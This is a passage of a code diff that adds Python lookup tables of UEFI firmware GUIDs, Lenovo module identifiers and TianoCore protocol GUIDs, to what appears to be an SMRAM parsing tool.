197], + "LENOVO_VPRO_PET_ALERT_GUID": [2124901688, 50554, 16685, 175, 29, 213, 139, 238, 43, 133, 177], + "LENOVO_SMM_RELOC_DXE_GUID": [2146267886, 368, 18452, 152, 120, 168, 251, 24, 100, 223, 175], + "LENOVO_IGD_CUSTOMIZE_GUID": [2167621142, 34510, 18882, 182, 249, 24, 4, 230, 28, 115, 246], + "LENOVO_SETUP_DATE_TIME_DXE_GUID": [2182649437, 8384, 19926, 129, 160, 132, 92, 82, 39, 7, 67], + "LENOVO_TRANSLATE_SERVICE_GUID": [2188103510, 47812, 17396, 142, 161, 140, 223, 10, 18, 26, 189], + "LENOVO_ME_CONFIG_GUID": [2191033376, 29799, 17552, 144, 89, 254, 180, 72, 221, 25, 99], + "LENOVO_SYSTEM_OEM_ACTIVATION_DXE_GUID": [2233099093, 52752, 20327, 157, 19, 145, 179, 40, 26, 149, 211], + "LENOVO_SYSTEM_PCI_ISA_BUS_DXE_GUID": [2253066494, 15710, 18696, 136, 204, 240, 141, 78, 220, 0, 80], + "LENOVO_LEGACY_BIOS_MISC_SMM_GUID": [2263362243, 54959, 18340, 140, 147, 12, 118, 199, 179, 204, 211], + "LENOVO_INIT_ME_POLICY_GUID": [2279811321, 37797, 17269, 186, 105, 147, 167, 167, 122, 93, 155], + "LENOVO_SETUP_AUTOMATION_SMM_GUID": [2282586559, 55944, 18913, 149, 67, 165, 130, 71, 254, 173, 26], + "LENOVO_N25_Q064_FLASH_PART_DXE_GUID": [2288700192, 30912, 20360, 157, 60, 186, 220, 227, 126, 218, 71], + "LENOVO_HDP_MANAGER_SMM_GUID": [2299999890, 39618, 19590, 158, 204, 243, 119, 130, 221, 235, 170], + "LENOVO_SYSTEM_XHCI_RESET_SYSTEM_GUID": [2388413418, 13567, 20018, 131, 88, 51, 99, 218, 1, 230, 40], + "LENOVO_NATIONAL_LPC_PC87393_GUID": [2392276867, 43978, 18916, 169, 64, 78, 173, 90, 109, 138, 30], + "LENOVO_SYSTEM_ENGLISH_DXE_GUID": [2401693450, 20351, 20043, 152, 2, 140, 34, 183, 0, 255, 172], + "LENOVO_ABSOLUTE_COMPUTRACE_INSTALLER_WIN8_GUID": [2414800113, 48381, 19064, 146, 49, 72, 1, 86, 107, 53, 103], + "LENOVO_WMA_PCI_DXE_GUID": [2430603523, 63364, 16416, 145, 172, 197, 30, 139, 245, 83, 178], + "LENOVO_DPTF_GUID": [2441787952, 15757, 19381, 184, 73, 69, 204, 79, 199, 222, 124], + "LENOVO_SYSTEM_ISA_SERIAL_DXE_GUID": [2478309379, 40883, 4564, 154, 58, 0, 144, 39, 63, 193, 77], + "LENOVO_SYSTEM_PCI_BUS_DXE_GUID": [2478309380, 40883, 4564, 154, 58, 0, 144, 39, 63, 193, 77], + "LENOVO_DHCP4_DXE_BIN_GUID": [2490582808, 3004, 18427, 150, 165, 238, 122, 90, 230, 162, 173], + "LENOVO_SYSTEM_XHCI_DXE_GUID": [2492998332, 9939, 19398, 149, 75, 242, 197, 129, 52, 45, 225], + "LENOVO_DXE_CMOS_INIT_GUID": [2512357037, 41440, 16707, 180, 135, 0, 75, 28, 46, 5, 250], + "LENOVO_TCG_SERVICES_SMM_GUID": [2512409029, 61731, 17198, 147, 131, 185, 207, 17, 63, 8, 46], + "LENOVO_DHCP6_DXE_BIN_GUID": [2514708125, 13502, 18293, 166, 81, 126, 164, 27, 105, 216, 158], + "LENOVO_SYSTEM_ENHANCED_FAT_DXE_GUID": [2517989630, 46775, 17603, 175, 53, 107, 199, 5, 205, 43, 31], + "LENOVO_SYSTEM_NULL_MEMORY_TEST_DXE_GUID": [2528493618, 57164, 19310, 130, 50, 67, 141, 207, 68, 141, 14], + "LENOVO_SMM_CF9_TRAP_GUID": [2534382554, 35068, 18764, 158, 161, 38, 65, 150, 99, 206, 17], + "LENOVO_MTFTP6_DXE_BIN_GUID": [2582657945, 39128, 18909, 168, 211, 50, 25, 208, 255, 228, 30], + "LENOVO_PLATFORM_RESET_RUNTIME_DXE_GUID": [2593820971, 24403, 17798, 136, 32, 112, 68, 133, 162, 157, 33], + "LENOVO_SYSTEM_DEVICE_PATH_DXE_GUID": [2607288270, 44395, 20282, 182, 11, 245, 152, 153, 0, 52, 67], + "LENOVO_SMM_CORE_DISPATCHER_GUID": [2630180221, 64511, 17180, 188, 20, 51, 78, 174, 166, 5, 43], + "LENOVO_MEBX_GUID": [2633859116, 2465, 17366, 130, 23, 170, 73, 193, 249, 13, 44], + "LENOVO_EN25_QH128_FLASH_PART_DXE_GUID": [2639791502, 51421, 19103, 177, 118, 223, 203, 146, 53, 72, 21], + "LENOVO_ISSC_DXE_GUID": [2640230712, 39492, 17768, 129, 146, 193, 86, 59, 235, 170, 1], + "LENOVO_SYSTEM_TERMINAL_DXE_GUID": [2659596550, 41999, 18549, 151, 127, 91, 147, 255, 35, 127, 198], + "LENOVO_SYSTEM_CAPSULE_RT_GUID": [2661670671, 41820, 18625, 186, 201, 246, 52, 82, 180, 124, 62], + "LENOVO_PCH_CONFIG_GUID": [2678257669, 15750, 17084, 169, 195, 43, 38, 165, 223, 9, 249], + "LENOVO_IP4_DXE_BIN_GUID": [2679218675, 15217, 17188, 179, 154, 116, 92, 187, 1, 95, 255], + "LENOVO_SYSTEM_USB_MASS_STORAGE_DXE_GUID": [2679420071, 17088, 19405, 133, 64, 155, 204, 103, 17, 248, 62], + "LENOVO_SYSTEM_ERROR_LOG_DXE_GUID": [2711009863, 36563, 16776, 167, 101, 250, 150, 77, 215, 237, 122], + "LENOVO_DPC_DXE_BIN_GUID": [2719021427, 8861, 20301, 170, 55, 152, 149, 230, 201, 234, 186], + "LENOVO_SNP_DXE_BIN_GUID": [2733913834, 41255, 20216, 149, 124, 128, 72, 96, 111, 246, 112], + "LENOVO_SECURE_UPDATE_DXE_GUID": [2761067649, 1795, 19159, 163, 43, 117, 37, 188, 63, 225, 245], + "LENOVO_OEM_HOOK_SMM_GUID": [2763630598, 46452, 17236, 191, 199, 5, 33, 125, 192, 250, 244], + "LENOVO_PLATFORM_SETUP_DXE_GUID": [2767360156, 24106, 17290, 145, 186, 39, 43, 9, 35, 4, 154], + "LENOVO_MX25_L3206_EFLASH_PART_DXE_GUID": [2768044243, 33306, 17689, 133, 187, 46, 25, 135, 166, 244, 225], + "LENOVO_SYSTEM_ACPI_TABLES_DXE_GUID": [2791868560, 49136, 20227, 155, 30, 118, 174, 134, 238, 197, 171], + "LENOVO_SM_BIOS_HOLE_GUID": [2795618352, 63830, 19102, 149, 64, 208, 232, 29, 46, 51, 242], + "LENOVO_SYSTEM_DIAGNOSTIC_SPLASH_SCREEN_APP_GUID": [2816006566, 27312, 19179, 173, 157, 22, 62, 89, 167, 163, 128], + "LENOVO_PCI_EXPRESS_GUID": [2828978400, 2977, 16554, 160, 62, 171, 221, 165, 41, 92, 222], + "LENOVO_SYSTEM_SECURE_BOOT_DXE_GUID": [2840226543, 54939, 16400, 186, 36, 249, 30, 31, 230, 42, 218], + "LENOVO_PROMPT_SERVICE_GUID": [2855807077, 4784, 17637, 167, 49, 109, 239, 77, 243, 76, 231], + "LENOVO_SYSTEM_FORM_BROWSER_SIMPLE_TEXT_VIEW_LAYOUT_DXE_GUID": [2866782636, 59683, 18035, 177, 184, 113, 74, 216, 73, 247, 144], + "LENOVO_SMM_RELOC_PEIM_GUID": [2880917328, 64813, 16498, 163, 33, 202, 252, 114, 151, 126, 250], + "LENOVO_SYSTEM_FRAMEWORK_HII_DATABASE_DXE_GUID": [2889102779, 45523, 20216, 149, 124, 128, 72, 96, 111, 246, 113], + "LENOVO_INIT_VPRO_POLICY_GUID": [2891520473, 61751, 20359, 134, 159, 216, 99, 237, 168, 142, 210], + "LENOVO_VARIABLE_INIT_DXE_GUID": [2892033439, 21054, 20315, 148, 202, 57, 97, 52, 106, 0, 186], + "LENOVO_VPRO_MEBX_HOTKEY_GUID": [2893010282, 15681, 20221, 161, 185, 135, 2, 147, 129, 26, 40], + "LENOVO_EN25_QH64_FLASH_PART_DXE_GUID": [2896228620, 1225, 19534, 157, 123, 183, 160, 151, 245, 225, 236], + "LENOVO_PCH_PCIE_SMM_GUID": [2897128058, 49209, 17444, 136, 218, 244, 34, 18, 234, 14, 85], + "LENOVO_SYSTEM_MONOTONIC_COUNTER_RT_GUID": [2908783218, 53375, 18788, 128, 30, 123, 211, 183, 136, 134, 82], + "LENOVO_INCOMPATIBLE_PCI_DEVICE_GUID": [2909832542, 3269, 19135, 137, 121, 190, 118, 42, 148, 158, 163], + "LENOVO_PCH_RESET_GUID": [2941907701, 24104, 19971, 128, 226, 71, 39, 84, 90, 248, 17], + "LENOVO_AOAC_DXE_GUID": [2996974341, 37973, 18588, 170, 129, 33, 219, 72, 196, 30, 171], + "LENOVO_SYSTEM_AHCI_BUS_SMM_GUID": [3005214816, 33635, 4575, 131, 149, 8, 0, 32, 12, 154, 102], + "LENOVO_SYSTEM_RUNTIME_DXE_GUID": [3053582532, 17335, 18308, 149, 177, 244, 34, 108, 180, 12, 238], + "LENOVO_MEBX_SETUP_BROWSER_GUID": [3056532411, 14627, 19641, 166, 232, 219, 129, 142, 130, 138, 128], + "LENOVO_OS_OPT_DEFAULT_DXE_GUID": [3057565518, 53654, 16570, 171, 99, 31, 169, 166, 6, 142, 132], + "LENOVO_SOUND_SERVICE_GUID": [3059315134, 47807, 18925, 157, 210, 72, 236, 141, 180, 171, 211], + "LENOVO_I_FFS_DXE_GUID": [3065588063, 51903, 19692, 187, 20, 254, 66, 70, 242, 23, 58], + "LENOVO_SYSTEM_SMM_COMMUNICATION_SMM_GUID": [3075191674, 60578, 20345, 165, 68, 144, 86, 154, 190, 107, 153], + "LENOVO_USER_MANAGER_DXE_GUID": [3097946053, 47357, 16988, 166, 126, 16, 9, 223, 31, 16, 181], + "LENOVO_UEFI_PXE_BC_DXE_BIN_GUID": [3109986266, 9950, 18642, 136, 7, 31, 145, 7, 172, 94, 58], + "LENOVO_BOARD_INFO_DXE_GUID": [3114529140, 6966, 19180, 153, 226, 242, 133, 94, 180, 195, 222], + "LENOVO_SYSTEM_FLASH_COMMUNICATION_SMM_GUID": [3117071003, 58821, 16860, 134, 226, 231, 206, 248, 123, 129, 203], + "LENOVO_SMBIOS_TCG_DXE_GUID": [3120117304, 13813, 17533, 185, 8, 162, 184, 82, 170, 11, 137], + "LENOVO_CPU_IO_GUID": [3135723935, 15467, 17335, 189, 240, 156, 224, 122, 169, 26, 166], + "LENOVO_OS_OPT_DEFAULT_SMM_GUID": [3136301472, 45811, 17902, 139, 82, 212, 2, 23, 123, 230, 184], + "LENOVO_SYSTEM_AHCI_ATA_ATAPI_PASS_THRU_SMM_GUID": [3166018704, 56454, 4573, 173, 139, 8, 0, 32, 12, 154, 102], + "LENOVO_SYSTEM_ERROR_MENU_DXE_GUID": [3177658028, 45350, 20458, 157, 29, 23, 77, 74, 137, 159, 34], + "LENOVO_SYSTEM_EHCI_DXE_GUID": [3187557134, 36650, 19888, 153, 145, 111, 133, 101, 148, 119, 126], + "LENOVO_STATUS_CODE_ME_DEBUG_DXE_GUID": [3212038847, 44172, 19843, 163, 185, 74, 15, 66, 0, 116, 179], + "LENOVO_SYSTEM_TEXT_CONSOLE_VGA_DXE_GUID": [3213488397, 45573, 18255, 150, 227, 122, 123, 177, 180, 164, 7], + "LENOVO_MAIL_BOX_SMM_GUID": [3220075714, 24765, 18043, 146, 97, 183, 42, 136, 30, 73, 238], + "LENOVO_SMM_FDISK_OEM_GUID": [3229404412, 46271, 18992, 162, 95, 31, 87, 192, 82, 38, 41], + "LENOVO_SYSTEM_STATUS_CODE_PORT80_SMM_GUID": [3234851723, 28385, 17467, 188, 201, 133, 78, 124, 155, 65, 109], + "LENOVO_PCH_SPI_RUNTIME_GUID": [3247752938, 46732, 18817, 182, 75, 155, 210, 113, 71, 75, 32], + "LENOVO_SMM_ASL_SMI_GUID": [3287170800, 25574, 20313, 164, 55, 175, 166, 60, 70, 200, 53], + "LENOVO_VARIABLE_DEFAULT_GUID": [3332108939, 5827, 17231, 164, 164, 41, 43, 219, 15, 77, 18], + "LENOVO_PCH_S3_SUPPORT_GUID": [3354040199, 51722, 17332, 177, 229, 37, 239, 135, 57, 31, 141], + "LENOVO_SVP_MANAGER_DXE_GUID": [3356403955, 41929, 16933, 170, 96, 118, 157, 212, 199, 78, 67], + "LENOVO_SYSTEM_DIAGNOSTIC_SUMMARY_SCREEN_DXE_GUID": [3358136790, 13309, 17389, 128, 12, 99, 90, 51, 105, 208, 243], + "LENOVO_SYSTEM_ACCELERATOR_KEY_DXE_GUID": [3365425629, 24224, 17102, 137, 52, 235, 142, 166, 8, 251, 169], + "LENOVO_SMAPI_SMM_GUID": [3380087232, 24464, 17510, 139, 56, 52, 29, 122, 103, 207, 84], + "LENOVO_SYSTEM_DISK_IO_DXE_GUID": [3391494694, 30488, 19355, 138, 7, 81, 120, 177, 174, 58, 2], + "LENOVO_SYSTEM_DATA_HUB_STD_ERR_DXE_GUID": [3394327302, 206, 16434, 135, 78, 17, 183, 85, 255, 104, 102], + "LENOVO_SYSTEM_KEY_DESC_DXE_GUID": [3397046003, 4481, 19168, 149, 167, 15, 31, 216, 175, 210, 237], + "LENOVO_HDP_MANAGER_DXE_GUID": [3398903232, 4837, 20396, 173, 88, 217, 170, 176, 59, 143, 17], + "LENOVO_PLATFORM_SMM_GUID": [3413361625, 12033, 17218, 174, 103, 4, 221, 229, 38, 64, 146], + "LENOVO_EN25_QH32_FLASH_PART_SMM_GUID": [3419028872, 51998, 18883, 180, 72, 95, 242, 135, 197, 141, 64], + "LENOVO_VIDEO_INIT_DXE_GUID": [3430002758, 52999, 19886, 174, 173, 112, 70, 132, 91, 205, 138], + "LENOVO_SYSTEM_FONT_DXE_GUID": [3431257893, 55838, 18087, 158, 117, 75, 172, 241, 253, 57, 2], + "LENOVO_SYSTEM_SETUP_ADVANCED_DXE_GUID": [3433812521, 20932, 19943, 174, 47, 58, 175, 113, 249, 236, 229], + "LENOVO_SYSTEM_GRAPHICS_CONSOLE_DXE_GUID": [3435858984, 19236, 4565, 154, 90, 0, 144, 39, 63, 193, 77], + "LENOVO_SYSTEM_SM_BIOS_SMM_GUID": [3448945081, 11596, 18027, 132, 88, 149, 68, 125, 142, 74, 254], + "LENOVO_SYSTEM_BUS_ISA_RTC_SMM_GUID": [3451918622, 6289, 16665, 129, 126, 11, 106, 54, 133, 165, 17], + "LENOVO_SYSTEM_ACPI_SMI_SERVICES_DXE2_GUID": [3482740983, 45296, 19839, 180, 30, 174, 199, 148, 238, 199, 252], + "LENOVO_PLATFORM_HII_ADVANCED_DXE_GUID": [3488584900, 16743, 18026, 136, 147, 135, 121, 69, 157, 250, 134], + "LENOVO_VARIABLE_SMM_GUID": [3575212162, 43376, 17680, 143, 185, 215, 88, 59, 105, 6, 231], + "LENOVO_SYSTEM_FORM_BROWSER_SIMPLE_TEXT_VIEW_DXE_GUID": [3599230073, 56119, 19406, 134, 74, 2, 238, 246, 129, 157, 241], + "LENOVO_N25_Q032_FLASH_PART_SMM_GUID": [3599366343, 50004, 16917, 170, 72, 182, 173, 102, 199, 126, 175], + "LENOVO_MFG_BENCH_EVENT_DXE_GUID": [3627644895, 13507, 18977, 161, 4, 54, 155, 141, 79, 167, 183], + "LENOVO_UDP6_DXE_BIN_GUID": [3641886652, 61592, 17255, 146, 186, 233, 17, 8, 60, 123, 14], + "LENOVO_SYSTEM_STATUS_CODE_GENERIC_SMM_GUID": [3663567235, 828, 18467, 147, 73, 139, 27, 106, 121, 128, 48], + "LENOVO_MX25_L64_XFLASH_PART_SMM_GUID": [3679301914, 3676, 16565, 142, 70, 23, 208, 68, 134, 162, 27], + "LENOVO_MTFTP4_DXE_BIN_GUID": [3694543288, 12200, 20179, 188, 31, 249, 150, 42, 3, 69, 75], + "LENOVO_I_FFS_DXE_POLICY_INIT_GUID": [3719565990, 58355, 20126, 144, 163, 42, 153, 18, 112, 33, 156], + "LENOVO_WMA_USB_DXE_GUID": [3769480574, 57782, 17644, 191, 46, 132, 40, 116, 162, 108, 131], + "LENOVO_SYSTEM_SCSI_OPROM_PASS_THRU_DXE_GUID": [3786228562, 9744, 19926, 187, 143, 139, 178, 176, 51, 131, 163], + "LENOVO_PASSWORD_CP_GUID": [3841094362, 9087, 17740, 136, 104, 252, 240, 150, 207, 28, 108], + "LENOVO_SYSTEM_DIAGNOSTIC_SPLASH_SCREEN_DXE_GUID": [3855662044, 7100, 18871, 168, 182, 103, 170, 240, 161, 205, 158], + "LENOVO_IBEX_PEAK_FLASH_CONTROLLER_SMM_GUID": [3897225109, 31910, 19247, 163, 152, 177, 77, 28, 103, 160, 177], + "LENOVO_SMM_SLEEP_EVENT_GUID": [3906732218, 16671, 19794, 185, 37, 80, 120, 84, 54, 172, 129], + "LENOVO_AT24_RF08_EEPROM_DXE_GUID": [3914184057, 1563, 17275, 131, 194, 101, 192, 174, 124, 20, 226], + "LENOVO_KBD_CONFIG_GUID": [3920933158, 19987, 16885, 158, 76, 155, 248, 139, 60, 27, 12], + "LENOVO_SYSTEM_LEGACY_BIOS_DXE_GUID": [3928933378, 12245, 18271, 146, 44, 152, 234, 224, 55, 99, 18], + "LENOVO_VPRO_CIRA_HOT_KEY_GUID": [3936260833, 8943, 19295, 165, 238, 19, 23, 177, 231, 123, 16], + "LENOVO_OEM_HOOK_GUID": [3937366281, 60461, 18992, 191, 79, 98, 20, 8, 99, 14, 76], + "LENOVO_SYSTEM_SMBIOS_DXE_GUID": [3941964814, 48454, 16698, 154, 233, 221, 159, 109, 26, 146, 125], + "LENOVO_SECURE_KEY_SMM_GUID": [3949915124, 7875, 19817, 157, 130, 101, 191, 108, 87, 155, 52], + "LENOVO_ME_CON_OUT_READY_GUID": [3965343067, 25476, 19456, 134, 37, 44, 23, 104, 185, 91, 56], + "LENOVO_FINGERPRINT_CP_GUID": [3996187942, 5412, 19618, 181, 109, 52, 88, 48, 220, 156, 219], + "LENOVO_SYSTEM_SMM_USB_LEGACY_SMM_GUID": [4013146774, 63052, 16710, 173, 4, 52, 120, 153, 112, 44, 132], + "LENOVO_SYSTEM_WATCHDOG_TIMER_DXE_GUID": [4036613759, 29102, 19510, 178, 163, 220, 235, 14, 178, 183, 216], + "LENOVO_N25_Q032_FLASH_PART_DXE_GUID": [4055748295, 12753, 20239, 175, 98, 208, 42, 68, 7, 96, 38], + "LENOVO_SYSTEM_SECURITY_STUB_DXE_GUID": [4059018531, 15705, 18568, 187, 113, 234, 165, 169, 102, 40, 250], + "LENOVO_SVP_MANAGER_SMM_GUID": [4100820646, 19047, 18546, 176, 209, 212, 253, 234, 11, 105, 47], + "LENOVO_STARTUP_MENU_DXE_GUID": [4100908788, 18309, 17315, 146, 61, 127, 120, 108, 60, 132, 121], + "LENOVO_PLATFORM_S3_SAVE_SMM_GUID": [4121718871, 22096, 18030, 182, 146, 118, 164, 114, 35, 239, 176], + "LENOVO_SYSTEM_CMOS_DXE_GUID": [4131563991, 9911, 18379, 172, 200, 19, 89, 81, 172, 147, 248], + "LENOVO_FINGERPRINT_SMM_GUID": [4148614015, 63174, 17344, 148, 219, 70, 111, 95, 16, 224, 48], + "LENOVO_POWER_MANAGEMENT2_GUID": [4151515980, 22690, 19956, 137, 128, 86, 69, 211, 158, 206, 88], + "LENOVO_W25_Q32_FLASH_PART_SMM_GUID": [4174016692, 27269, 17942, 139, 222, 62, 197, 105, 100, 74, 195], + "LENOVO_SYSTEM_USB_DATABASE_DXE_GUID": [4182180003, 62623, 19666, 191, 37, 25, 226, 128, 183, 46, 59], + "LENOVO_TCG_SMM_GUID": [4182377611, 32708, 19132, 133, 166, 134, 22, 166, 211, 205, 206], + "LENOVO_SLP2_SMM_GUID": [4199507776, 47450, 17401, 144, 181, 120, 216, 20, 124, 2, 25], + "LENOVO_FIT_DIAGNOSTICS_GUID": [4222873731, 22407, 17839, 186, 220, 102, 72, 84, 16, 15, 32], + "LENOVO_SYSTEM_SECURE_FLASH_SLEEP_TRAP_SMM_GUID": [4242832462, 24268, 19009, 185, 14, 11, 171, 9, 150, 141, 2], + "LENOVO_TXT_DXE_GUID": [4287725090, 41512, 17549, 189, 170, 104, 239, 204, 221, 165, 211], + "LENOVO_EAIA_PEI_GUID": [512609513, 13340, 16921, 167, 144, 241, 76, 40, 181, 28, 238], + "LENOVO_PLATFORM_STAGE2_PEI_GUID": [591261847, 12824, 18354, 158, 9, 254, 88, 194, 178, 13, 34], + "LENOVO_MISC_GA_IO_PEIM_GUID": [913773309, 27738, 17920, 190, 162, 154, 31, 129, 170, 204, 8], + "LENOVO_PEI_MAIN_GUID": [1388337940, 2968, 18796, 188, 59, 4, 181, 2, 17, 214, 128], + "LENOVO_PLATFORM_STAGE1_PEI_GUID": [1402489962, 6986, 16756, 149, 18, 166, 94, 91, 200, 178, 120], + "LENOVO_FLASH_PROTECT_PEI_GUID": [1403787592, 3792, 17034, 180, 221, 210, 255, 242, 245, 119, 111], + "LENOVO_SYSTEM_ACPI_TABLES_PEI_GUID": [1436701486, 10618, 19197, 144, 191, 19, 155, 255, 91, 180, 215], + "LENOVO_OEM_SEC_PEI_GUID": [1495331846, 22632, 17653, 169, 185, 109, 64, 49, 72, 28, 201], + "LENOVO_SYSTEM_USB_BOT_PEI_GUID": [2214699078, 28528, 17669, 132, 113, 112, 21, 180, 3, 85, 227], + "LENOVO_SYSTEM_BOOT_MODE_PEI_GUID": [2251331032, 15348, 17532, 174, 16, 21, 179, 174, 153, 54, 253], + "LENOVO_PEI_CPU_IO_GUID": [2323165447, 4061, 19656, 183, 186, 220, 62, 19, 203, 133, 36], + "LENOVO_SYSTEM_S3_RESUME_PEI_GUID": [2345590231, 57989, 16744, 155, 63, 9, 175, 102, 201, 63, 254], + "LENOVO_VIDEO_INIT_PEIM_GUID": [2630869420, 30796, 17981, 177, 69, 57, 109, 112, 20, 213, 89], + "LENOVO_AT24_RF08_EEPROM_PEI_GUID": [2648253477, 26423, 17869, 130, 156, 26, 194, 205, 32, 200, 115], + "LENOVO_POST_VALIDATOR_PEI_GUID": [3116595505, 61545, 16780, 158, 25, 49, 176, 188, 3, 24, 135], + "LENOVO_SYSTEM_FV_FILE_LOADER_GUID": [3257022987, 32979, 19509, 137, 31, 189, 12, 196, 233, 144, 240], + "LENOVO_MAIL_BOX_PEI_GUID": [3272721920, 34025, 20254, 191, 68, 191, 54, 227, 65, 81, 88], + "LENOVO_EC_IO_PEIM_GUID": [3279067084, 16345, 16422, 152, 144, 122, 22, 40, 24, 70, 32], + "LENOVO_MODULE_S3_RESUME_PEIM_GUID": [3350021305, 42869, 18433, 183, 114, 169, 100, 38, 43, 185, 46], + "LENOVO_CPU_S3_PEIM_GUID": [3362176369, 31865, 19441, 169, 59, 6, 107, 131, 13, 143, 154], + "LENOVO_USER_MANAGER_PEI_GUID": [3759193290, 14907, 19203, 188, 244, 174, 31, 100, 168, 92, 137], + "LENOVO_PROTECT_PBPEI_GUID": [3930240486, 24065, 19566, 129, 137, 193, 239, 166, 172, 253, 1], + "LENOVO_ISSC_PEI_GUID": [3972789634, 61153, 17848, 137, 38, 6, 127, 64, 179, 229, 94], + "LENOVO_PLATFORM_STAGE0_PEI_GUID": [3981613134, 28375, 17477, 157, 93, 32, 12, 50, 1, 245, 30], +} diff --git a/tools/amd_smram_parser/efiguids/efiguidsx.py b/tools/amd_smram_parser/efiguids/efiguidsx.py new file mode 100644 index 0000000..25338ed --- /dev/null +++ b/tools/amd_smram_parser/efiguids/efiguidsx.py @@ -0,0 +1,709 @@ +""" +efiguids.py + +This is a giant list of protocol GUIDs I grepped out of the TianoCore source code. It should be relatively complete, +but won't contain any of Apple's proprietary GUIDs. I'll add those as I come across them. + +See the following URL for more info and the latest version: +https://github.com/snarez/ida-efiutils +""" + +GUIDs = { + 'ACPI_TABLE_GUID': [0xeb9d2d30, 0x2d88, 0x11d3, 0x9a, 0x16, 0x0, 0x90, 0x27, 0x3f, 0xc1, 0x4d], + 'APPLE_REMOVABLE_MEDIA_PROTOCOL_GUID': [0x2ea9743a, 0x23d9, 0x425e, 0x87, 0x2c, 0xf6, 0x15, 0xaa, 0x19, 0x57, 0x88], + 'ARM_GLOBAL_VARIABLE_PPI_GUID': [0xab1c1816, 0xd542, 0x4e6f, 0x9b, 0x1e, 0x8e, 0xcd, 0x92, 0x53, 0xe2, 0xe7], + 'ARM_HOB_GLOBAL_VARIABLE_GUID': [0xc3253c90, 0xa24f, 0x4599, 0xa6, 0x64, 0x1f, 0x88, 0x13, 0x77, 0x8f, 0xc9], + 'ARM_MP_CORE_INFO_GUID': [0xa4ee0728, 0xe5d7, 0x4ac5, 0xb2, 0x1e, 0x65, 0x8e, 0xd8, 0x57, 0xe8, 0x34], + 'ARM_MP_CORE_INFO_PPI_GUID': [0x6847cc74, 0xe9ec, 0x4f8f, 0xa2, 0x9d, 0xab, 0x44, 0xe7, 0x54, 0xa8, 0xfc], + 'BDS_LIB_STRING_PACKAGE_GUID': [0x3b4d9b23, 0x95ac, 0x44f6, 0x9f, 0xcd, 0xe, 0x95, 0x94, 0x58, 0x6c, 0x72], + 'BLOCKIO_VENDOR_GUID': [0xcf31fac5, 0xc24e, 0x11d2, 0x85, 0xf3, 0x0, 0xa0, 0xc9, 0x3e, 0xc9, 0x3b], + 'BLOCK_MMIO_PROTOCOL_GUID': [0x6b558ce3, 0x69e5, 0x4c67, 0xa6, 0x34, 0xf7, 0xfe, 0x72, 0xad, 0xbe, 0x84], + 'BOOT_MAINT_FORMSET_GUID': [0x642237c7, 0x35d4, 0x472d, 0x83, 0x65, 0x12, 0xe0, 0xcc, 0xf2, 0x7a, 0x22], + 'BOOT_MANAGER_FORMSET_GUID': [0x847bc3fe, 0xb974, 0x446d, 0x94, 0x49, 0x5a, 0xd5, 0x41, 0x2e, 0x99, 0x3b], + 'CONNECT_CONIN_EVENT_GUID': [0xdb4e8151, 0x57ed, 0x4bed, 0x88, 0x33, 0x67, 0x51, 0xb5, 0xd1, 0xa8, 0xd7], + 'DEVICE_MANAGER_FORMSET_GUID': [0x3ebfa8e6, 0x511d, 0x4b5b, 0xa9, 0x5f, 0xfb, 0x38, 0x26, 0xf, 0x1c, 0x27], + 'DP_HII_GUID': [0xeb832fd9, 0x9089, 0x4898, 0x83, 0xc9, 0x41, 0x61, 0x8f, 0x5c, 0x48, 0xb9], + 'DRIVER_HEALTH_FORMSET_GUID': [0xf76e0a70, 0xb5ed, 0x4c38, 0xac, 0x9a, 0xe5, 0xf5, 0x4b, 0xf1, 0x6e, 0x34], + 'DRIVER_SAMPLE_FORMSET_GUID': [0xA04A27f4, 0xDF00, 0x4D42, 0xB5, 0x52, 0x39, 0x51, 0x13, 0x02, 0x11, 0x3D], + 'DRIVER_SAMPLE_INVENTORY_GUID': [0xb3f56470, 0x6141, 0x4621, 0x8f, 0x19, 0x70, 0x4e, 0x57, 0x7a, 0xa9, 0xe8], + 'DUET_CONSOLEOUT_CONFIG_GUID': [0xED150714, 0xDF30, 0x407D, 0xB2, 0x4A, 0x4B, 0x74, 0x2F, 0xD5, 0xCE, 0xA2], + 'DXE_CORE_FILE_NAME_GUID': [0xD6A2CB7F, 0x6A18, 0x4e2f, 0xB4, 0x3B, 0x99, 0x20, 0xA7, 0x33, 0x70, 0x0A], + 'DXE_SERVICES_TABLE_GUID': [0x5ad34ba, 0x6f02, 0x4214, 0x95, 0x2e, 0x4d, 0xa0, 0x39, 0x8e, 0x2b, 0xb9], + 'EBL_ADD_COMMAND_PROTOCOL_GUID': [0xaeda2428, 0x9a22, 0x4637, 0x9b, 0x21, 0x54, 0x5e, 0x28, 0xfb, 0xb8, 0x29], + 'ECP_PEI_PCI_CFG_PPI_GUID': [0xb0ee53d4, 0xa049, 0x4a79, 0xb2, 0xff, 0x19, 0xd9, 0xfa, 0xef, 0xaa, 0x94], + 'EFI_ABSOLUTE_POINTER_PROTOCOL_GUID': [0x8D59D32B, 0xC655, 0x4AE9, 0x9B, 0x15, 0xF2, 0x59, 0x04, 0x99, 0x2A, 0x43], + 'EFI_ACPI_20_TABLE_GUID': [0x8868e871, 0xe4f1, 0x11d3, 0xbc, 0x22, 0x0, 0x80, 0xc7, 0x3c, 0x88, 0x81], + 'EFI_ACPI_S3_CONTEXT_GUID': [0xef98d3a, 0x3e33, 0x497a, 0xa4, 0x1, 0x77, 0xbe, 0x3e, 0xb7, 0x4f, 0x38], + 'EFI_ACPI_S3_SAVE_GUID': [0x125f2de1, 0xfb85, 0x440c, 0xa5, 0x4c, 0x4d, 0x99, 0x35, 0x8a, 0x8d, 0x38], + 'EFI_ACPI_SDT_PROTOCOL_GUID': [0xeb97088e, 0xcfdf, 0x49c6, 0xbe, 0x4b, 0xd9, 0x6, 0xa5, 0xb2, 0xe, 0x86], + 'EFI_ACPI_SUPPORT_GUID': [0xdbff9d55, 0x89b7, 0x46da, 0xbd, 0xdf, 0x67, 0x7d, 0x3d, 0xc0, 0x24, 0x1d], + 'EFI_ACPI_TABLE_GUID': [0x8868e871, 0xe4f1, 0x11d3, 0xbc, 0x22, 0x0, 0x80, 0xc7, 0x3c, 0x88, 0x81], + 'EFI_ACPI_TABLE_GUID': [0xeb9d2d30, 0x2d88, 0x11d3, 0x9a, 0x16, 0x0, 0x90, 0x27, 0x3f, 0xc1, 0x4d], + 'EFI_ACPI_TABLE_PROTOCOL_GUID': [0xffe06bdd, 0x6107, 0x46a6, 0x7b, 0xb2, 0x5a, 0x9c, 0x7e, 0xc5, 0x27, 0x5c], + 'EFI_ACPI_TABLE_STORAGE_GUID': [0x7e374e25, 0x8e01, 0x4fee, 0x87, 0xf2, 0x39, 0xc, 0x23, 0xc6, 0x6, 0xcd], + 